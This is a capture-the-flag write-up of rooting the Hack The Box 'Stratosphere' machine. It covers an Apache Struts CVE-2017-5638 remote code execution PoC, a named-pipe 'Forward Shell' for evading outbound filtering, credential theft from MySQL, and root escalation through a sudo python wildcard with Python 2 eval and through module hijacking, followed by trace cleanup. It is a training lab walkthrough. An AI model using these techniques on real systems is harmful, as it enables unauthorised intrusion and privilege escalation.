Stratosphere flight. How to crack Struts using an Action app and create a Forward Shell

Today, I will show how to conquer the stratosphere – i.e. gain root access on the Stratosphere VM available on Hack The Box CTF grounds. To capture the root flag, I will have to overcome the Apache Struts framework to get an RCE vulnerability in a web app, put to practice the rarely used (but still very useful) Forward Shell remote session concept, highjack a library, and find a way to exploit the eval() function in a treacherous Python script.

HTB - Stratosphere

HTB – Stratosphere

The difficulty of this virtual machine is not too high: 5.2 out of the 10. Still, conquering Stratosphere was a true pleasure for me thanks to the possibility to practice in the rarely used Forward Shell technique.

To make my way to the superuser flag, I will have to:

  • conduct reconnaissance and collect information on the running software to detect the Apache Struts framework;
  • identify weak spots in Struts to attack a web app built on Java EE и Action;
  • find a convenient way to interact with the host amid strict filtering of the outbound HTTP traffic;
  • discover a weak password to the MySQL database and extract user authentication credentials from it to connect to the target VM via SSH;
  • exploit a vulnerable Python app in two ways: (1) by abusing the eval() function; and (2) by hijacking an imported module.

Intelligence collection

As usual, I start from scanning open ports with Nmap.

root@kali:~# nmap -n -Pn -sV -sC -oA nmap/stratosphere
root@kali:~# cat nmap/stratosphere.nmap
# Nmap 7.70 scan initiated Sat Aug 10 23:56:34 2019 as: nmap -n -v -Pn -sV -sC -oA nmap/initial
Nmap scan report for
Host is up (0.054s latency).
Not shown: 997 filtered ports
22/tcp open ssh OpenSSH 7.4p1 Debian 10+deb9u2 (protocol 2.0)
| ssh-hostkey:
| 2048 5b:16:37:d4:3c:18:04:15:c4:02:01:0d:db:07:ac:2d (RSA)
| 256 e3:77:7b:2c:23:b0:8d:df:38:35:6c:40:ab:f6:81:50 (ECDSA)
|_ 256 d7:6b:66:9c:19:fc:aa:66:6c:18:7a:cc:b5:87:0e:40 (ED25519)
80/tcp open http
| fingerprint-strings:
| [ ....................................................... ]
| [ ............ [fingerprint string content] ............ ]
| [ ....................................................... ]
| GetRequest:
| [ ....................................................... ]
| [ ................ [response to GET request] ................ ]
| [ ....................................................... ]
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-title: Stratosphere
8080/tcp open http-proxy
| fingerprint-strings:
| [ ....................................................... ]
| [ ............ [fingerprint string content] ............ ]
| [ ....................................................... ]
| GetRequest:
| [ ....................................................... ]
| [ ................ [response to GET request] ................ ]
| [ ....................................................... ]
| http-methods:
|_ Potentially risky methods: PUT DELETE
|_http-open-proxy: Proxy might be redirecting requests
|_http-title: Stratosphere
2 services unrecognized despite returning data. If you know the service/version, please submit the following fingerprints at :
| [ ....................................................... ]
| [ .... [unidentified service fingerprint on port 80] .... ]
| [ ....................................................... ]
| [ ....................................................... ]
| [ ... [unidentified service fingerprint on port 8080] ... ]
| [ ....................................................... ]
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect results at .
# Nmap done at Sat Aug 10 23:56:59 2019 -- 1 IP address (1 host up) scanned in 24.41 seconds

As you can see, Nmap displays a huge amount of information. The greater portion of it is useless (including service fingerprints the scanner failed to identify), and I don’t provide it here. I also omitted responses to GET requests sent by Nmap to the web (i.e. to ports 80 and 8080).

Aside from that, the scheme seems (so far) to be pretty classical:

  • Secure Shell is running on port 22; this enables me to identify the OS version: the deb packet revision in the OpenSSH banner clearly indicates that this is a virtual machine with a Debian v.9 distribution (Stretch); and
  • an unidentified web server is running on port 80, while an unidentified proxy server is running on port 8080.

As usual, I start from the web.

Web – port 80

I check the web server for vulnerabilities that could be used as entry points to the target machine.


At, I see a colorful gradient of the Stratosphere website.

Stratosphere main page

Stratosphere main page

I click the button “GET STARTED NOW” and the server takes me to a page with the following content:

    Stratosphere -- Getting Started


Site under construction. Please check back later.

Allegedly, the site is empty because it’s under construction. Following the classical reconnaissance strategy, I scan the servers for dictionary directories.


My favorite search tool for default directories is gobuster. This multithreaded brute-forcer is written in Go; this allows to easily drop a binary into the system and run it immediately. The developer maintains gobuster in an actual state and introduces significant changes with every new version. Most importantly, this utility is really fast.

Using the -u option, I specify the required host and the wordlist to brute-force directory names (one of the standard Kali wordlists). Then I launch the brute-forcing procedure using the -w option (path to the wordlist) and the -e option (the expanded mode allowing to print full URLs); for reporting purposes, the output is saved in an external file using the -o option.

root@kali:~# gobuster dir -u ‘’ -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -e -o gobuster/stratosphere.gobuster
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
[+] Url:
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt
[+] Status codes: 200,204,301,302,307,401,403
[+] User Agent: gobuster/3.0.1
[+] Expanded: true
[+] Timeout: 10s
2019/08/11 00:44:24 Starting gobuster
=============================================================== (Status: 302) (Status: 302)
Progress: 13738 / 220561 (6.23%)^C
[!] Keyboard interrupt detected, terminating.
2019/08/11 00:45:39 Finished

After discovering two promising addresses, I stopped brute-forcing (there is nothing more of interest there, trust me) and started reviewing the output.


Other notable tools for directory brute-forcing include:

  • dirb – a minimalist and not really fast brute-forcer written in C; and
  • dirbuster – once a popular brute-forcer with a graphical interface. However, as some point, OWASP stopped maintaining this project.


After following the link to, I see a standard Apache Tomcat server manager. Of course, I have no access to it.

Apache Tomcat server manager

Apache Tomcat server manager


The page at is much more interesting.

Apache Struts Action app

Apache Struts Action app

The SIGN ON and REGISTER buttons are of little use: both of them take me to the message that the site is still under construction.

The feature is under construction

The feature is under construction

Apache Struts

The main lead is the Action app shown on the previous screenshot, such apps are associated with the Struts framework.

Struts is used to create web apps based on the Java EE technology – a set of Java rules and specifications describing the architecture of the server platform used to develop apps.

To put it simply, Struts is an implementation of the Model-View-Controller (MVC) concept developed by the Apache Software Foundation. An Action is the client’s request processed by the controller (ActionServlet) on the server. The traffic circulation in the Apache Struts universe is shown on the picture below.

Client-server interaction within Apache Struts (source: NetBeans)

Client-server interaction within Apache Struts (source: NetBeans)

One might say: “That’s great, but how it helps us to penetrate into the system?” The point is that not that long ago, a vulnerability was discovered in the above interaction mechanism. This vulnerability allows to execute arbitrary code on a remote host, and its severity was recognized critical (10 out of the 10 according to the CVSSv2 notation).

Of course, this is not HeartBleed with its 11 out of the 10, but the threat is very serious indeed. Let’s see what searchsploit says in this respect. Two years have passed since the discovery of CVE-2017-5638, and I bet that an elegant exploit to it can be found in Exploit-DB.

Searchsploit searches for a PoC

Searchsploit searches for a PoC

Apparently, exploits/linux/webapps/ is exactly what I need. This Python script was created as a PoC demonstrating the exploitation of CVE-2017-5638. Due to the incorrect exception handling during the processing of a specially crafted malicious Content-Type header, the attacker gets the RCE ability. Let’s test the exploit.

root@kali:~# searchsploit -m exploits/multiple/webapps/
root@kali:~# python id
[*] CVE: 2017-5638 - Apache Struts2 S2-045
[*] cmd: id

uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

So, now I can remotely execute commands on the server. Leaping ahead, I must tell that I could escalate my privileges on this virtual machine to user by simply executing commands this way – i.e. without a fully featured reverse shell (like the one used to hack Mischief). Furthermore, it turned out that a reverse shell could not be used on Stratosphere due to the strict filtering of the outbound HTTP traffic. But I am not looking for shortcuts, and this VM became an excellent opportunity to try another way to get a remote session on a vulnerable host: Forward Shell.

Forward Shell

The main idea of this method is that you get the command line by creating a named pipe (let’s call it stdin) on the target Linux PC. The pipe is created using mkfifo and an output file (let’s call it stdout), which is used to save command outputs. Then the /bin/sh process is bound to stdin using the tail utility; the output of this process is redirected to stdout. The -f flag of the tail utility ensures that the command execution process is not interrupted even at end of the input (i.e. when the file reading is completed, and no more commands are received).

For clarity purposes, I will demonstrate on a local machine what I am going to do with Stratosphere.

Named pipes on a local machine

Named pipes on a local machine

  1. In the upper panel, I create a named pipe (stdin), bind its input to the /bin/sh shell, and redirect output to the stdout file.
  2. In the lower panel, I send commands to stdin and read the results of their execution from stdout. The output file is cleared after each reading (so that I view only the output of the last instruction).

Important: this scheme of interaction with the terminal session allows to remember the current work directory and execute command on behalf of other PTY processes (my example involves Python).

The concept has a practical implementation – a tiny handmade combat framework named FwdSh3ll. It does approximately the same as I have just demonstrated – but automatically and on a remote PC (commands issued by the user are encoded in Base64 for transmission over the web). Additionally, a parallel thread is launched in the background; it reads stdout at some interval and returns its content (i.e. the result of the last executed command).

The framework can be downloaded from GitHub.

What is its principal difference between the Forward Shell and well-known Reverse Shell and Bind Shell schemes? The key feature of Forward Shell is that the attacked host does not send the output of executed commands anywhere. As a result, everything seems transparent on the victim’s side: all operations (both the execution of commands and display of their results) are performed locally; accordingly, there is no need to ring the alarm bells and send complaints to iptables. But of course, you must be able to execute the required code on a remote PC; this is the keystone.

Exploring the host

After getting the possibility to execute commands on the target machine, I start exploring it. First of all, I need to find out who am I and what is the kernel version.

stratosphere> whoami

stratosphere> id
uid=115(tomcat8) gid=119(tomcat8) groups=119(tomcat8)

stratosphere> uname -a
Linux stratosphere 4.9.0-6-amd64 #1 SMP Debian 4.9.82-1+deb9u2 (2018-02-21) x86_64 GNU/Linux

Expectedly, the commands are executed on behalf of tomcat8, a low-privileged user who runs the web server.

The kernel version is 4.9.0-6; accordingly, I cannot escalate my privileges using DirtyCow. OK, let’s examine the file system.

stratosphere> ls -la
total 24
drwxr-xr-x 5 root root 4096 Aug 11 08:15 .
drwxr-xr-x 42 root root 4096 Oct 3 2017 ..
lrwxrwxrwx 1 root root 12 Sep 3 2017 conf -> /etc/tomcat8
-rw-r--r-- 1 root root 68 Oct 2 2017 db_connect
drwxr-xr-x 2 tomcat8 tomcat8 4096 Sep 3 2017 lib
lrwxrwxrwx 1 root root 17 Sep 3 2017 logs -> ../../log/tomcat8
drwxr-xr-x 2 root root 4096 Aug 11 08:15 policy
drwxrwxr-x 4 tomcat8 tomcat8 4096 Feb 10 2018 webapps
lrwxrwxrwx 1 root root 19 Sep 3 2017 work -> ../../cache/tomcat8

stratosphere> file *
conf: symbolic link to /etc/tomcat8
db_connect: ASCII text
lib: directory
logs: symbolic link to ../../log/tomcat8
policy: directory
webapps: directory
work: symbolic link to ../../cache/tomcat8

I found db_connect, a text file containing authentication credentials for connection to the database. Apparently, this is my next checkpoint.

stratosphere> cat db_connect


PrivEsc: tomcat8 → richard

Let’s see what’s inside the MySQL database. The first pair of credentials – ssn_admin:AWs64@on*& – turned out to be a ‘rabbit hole’ created to distract the attacker’s attention. From that account, you can see only an empty database. So, I try the second pair of credentials.

stratosphere> mysql -u admin -p”admin”
Welcome to the MariaDB monitor. Commands end with ; or \g.
Your MariaDB connection id is 8
Server version: 10.1.26-MariaDB-0+deb9u1 Debian 9.1

Copyright (c) 2000, 2017, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

I log in as admin and request the tables.

MariaDB [(none)]> show databases;
| Database |
| information_schema |
| users |
2 rows in set (0.00 sec)

MariaDB [(none)]> use users;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [users]> show tables;
| Tables_in_users |
| accounts |
1 row in set (0.00 sec)

MariaDB [users]> select * from accounts;
| fullName | password | username |
| Richard F. Smith | 9tc*rhKuG5TyXvUJOrE^5CK7k | richard |
1 row in set (0.00 sec)

The users database contains the accounts table whose content is of utmost interest to me. To be specific, it stores the authentication data of the user called ‘richard’.

SSH – port 22

Time to connect to the target VM over SSH. For convenience purposes, I transmit the password as a command line argument using sshpass and skip the certificate verification (after all, this is a training machine).

Inside the Stratosphere VM over SSH

Inside the Stratosphere VM over SSH


Time to grab the user flag.

richard@stratosphere:~$ cat /home/richard/user.txt

The script seems to be of utmost interest. Let’s examine it in more detail.

import hashlib

def question():
    q1 = input("Solve: 5af003e100c80923ec04d65933d382cb\n")
    md5 = hashlib.md5()
    if not md5.hexdigest() == "5af003e100c80923ec04d65933d382cb":
        print("Sorry, that's not right")
    print("You got it!")
    q2 = input("Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff\n")
    sha1 = hashlib.sha1()
    if not sha1.hexdigest() == 'd24f6fb449855ff42344feff18ee2819033529ff':
        print("Nope, that one didn't work...")
    print("WOW, you're really good at this!")
    q3 = input("How about this? 91ae5fc9ecbca9d346225063f23d2bd9\n")
    md4 ='md4')
    if not md4.hexdigest() == '91ae5fc9ecbca9d346225063f23d2bd9':
        print("Yeah, I don't think that's right.")
    print("OK, OK! I get it. You know how to crack hashes...")
    q4 = input("Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943\n")
    blake ='BLAKE2b512')
    if not blake.hexdigest() == '9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943':
        print("You were so close! urg... sorry rules are rules.")

    import os


So, the script asks me to reverse a few hashes and promises to execute the file /root/ as a reward. I smell a rat and start looking for an alternative way to exploit this suspicious code.

PrivEsc: richard → root. Method 1

First of all, I notice that the shebang points to python3. The python symlink also points to the Python v3 interpreter.

richard@stratosphere:~$ ls -l /usr/bin/python
lrwxrwxrwx 1 root root 16 Feb 11 2018 /usr/bin/python -> /usr/bin/python3

For the second time, I am strongly recommended to run the script using the third version of Python. Isn’t it strange? Keeping in mind who is the file owner, I examine the output of sudo -l.

richard@stratosphere:~$ sudo -l
Matching Defaults entries for richard on stratosphere:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User richard may run the following commands on stratosphere:
(ALL) NOPASSWD: /usr/bin/python* /home/richard/

It turns out that all users can execute with escalated privileges using /usr/bin/python*. The problem is that the ‘star’ symbol gives a free hand to all malefactors who managed to get to this point. As is known, in Python 2, the input() function is equivalent to the construction eval(raw_input()). Therefore, if I run using /usr/bin/python2 with sudo, I would be able to execute commands on behalf of root. Let’s try this variant.

I check what Python versions are available in the system.

richard@stratosphere:~$ ls -l /usr/bin/python*
lrwxrwxrwx 1 root root 16 Feb 11 2018 /usr/bin/python -> /usr/bin/python3
lrwxrwxrwx 1 root root 9 Jan 24 2017 /usr/bin/python2 -> python2.7
-rwxr-xr-x 1 root root 3779512 Nov 24 2017 /usr/bin/python2.7
lrwxrwxrwx 1 root root 9 Jan 20 2017 /usr/bin/python3 -> python3.5
-rwxr-xr-x 2 root root 4747120 Jan 19 2017 /usr/bin/python3.5
-rwxr-xr-x 2 root root 4747120 Jan 19 2017 /usr/bin/python3.5m
lrwxrwxrwx 1 root root 10 Jan 20 2017 /usr/bin/python3m -> python3.5m

So, I can execute /home/richard/ with Python 2 and send the /bin/bash string as an argument to the eval()function (that will, in fact, receive my input) to get a superuser session. To do so, I import the os module using the global import function (__import__()) and then call the system() function with the ‘dot’ operator. This trick should go well because the import function will return the pointer to the object of the above-mentioned os module.

richard@stratosphere:~$ sudo /usr/bin/python2 ~/
Solve: 5af003e100c80923ec04d65933d382cb

root@stratosphere:/home/richard# whoami

root@stratosphere:/home/richard# id
uid=0(root) gid=0(root) groups=0(root)


root@stratosphere:/home/richard# cat /root/root.txt

Time has come to expose the liars who had promised to execute the nonexistent file /root/

root@stratosphere:/home/richard# ls /root/
ls: cannot access '/root/': No such file or directory

Even though this is not necessary anymore, I am going to crack a few hashes in the epilogue. Just to warm up a little bit.

PrivEsc: richard → root. Method 2

In the very beginning of the source code, the hashlib library is imported to calculate hash values of the input strings. Let’s hijack this library! To do so, I have to find out the resolution order for paths used to import the modules. This can be done directly from Python.

richard@stratosphere:~$ python -c ‘import sys; print(sys.path)’
['', '/usr/lib/', '/usr/lib/python3.5', '/usr/lib/python3.5/plat-x86_64-linux-gnu', '/usr/lib/python3.5/lib-dynload', '/usr/local/lib/python3.5/dist-packages', '/usr/lib/python3/dist-packages']

The empty quotes in the beginning indicate the current work directory (CWD). Great! I create a fake library containing the required payload and name it I could create a reverse shell or get a root session similarly to the first method; but for the sake of simplicity, I just want to display the flag on the screen – the idea is clear.

richard@stratosphere:~$ echo ‘import os; os.system(“cat /root/root.txt”)’ >
richard@stratosphere:~$ ls -l *.py
-rw-r--r-- 1 richard richard 43 Aug 11 12:45
-rwxr-x--- 1 root richard 1507 Mar 19 2018

Then I run the script with a safe conscience:

richard@stratosphere:~$ sudo /usr/bin/python ~/
Solve: 5af003e100c80923ec04d65933d382cb

I clean up all traces of my activities in the system and that’s it.

richard@stratosphere:~$ rm
richard@stratosphere:~$ rm /dev/shm/input* /dev/shm/output*

Epilogue: brute-forcing hashes

Just for fun, I ask my friend John to crack the hashes as suggests.

John the Ripper brute-forces the hashes

John the Ripper brute-forces the hashes

Then I feed them to /home/richard/

richard@stratosphere:~$ sudo /usr/bin/python ~/
Solve: 5af003e100c80923ec04d65933d382cb
You got it!
Now what's this one? d24f6fb449855ff42344feff18ee2819033529ff
WOW, you're really good at this!
How about this? 91ae5fc9ecbca9d346225063f23d2bd9
OK, OK! I get it. You know how to crack hashes...
Last one, I promise: 9efebee84ba0c5e030147cfd1660f5f2850883615d444ceecf50896aae083 ead798d13584f52df0179df0200a3e1a122aa738beff263b49d2443738eba41c943
sh: 1: /root/ not found

This reaffirms the earlier conclusion: never trust treacherous Python tests!



Leave a Reply

XHTML: You can use these tags: <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <s> <strike> <strong>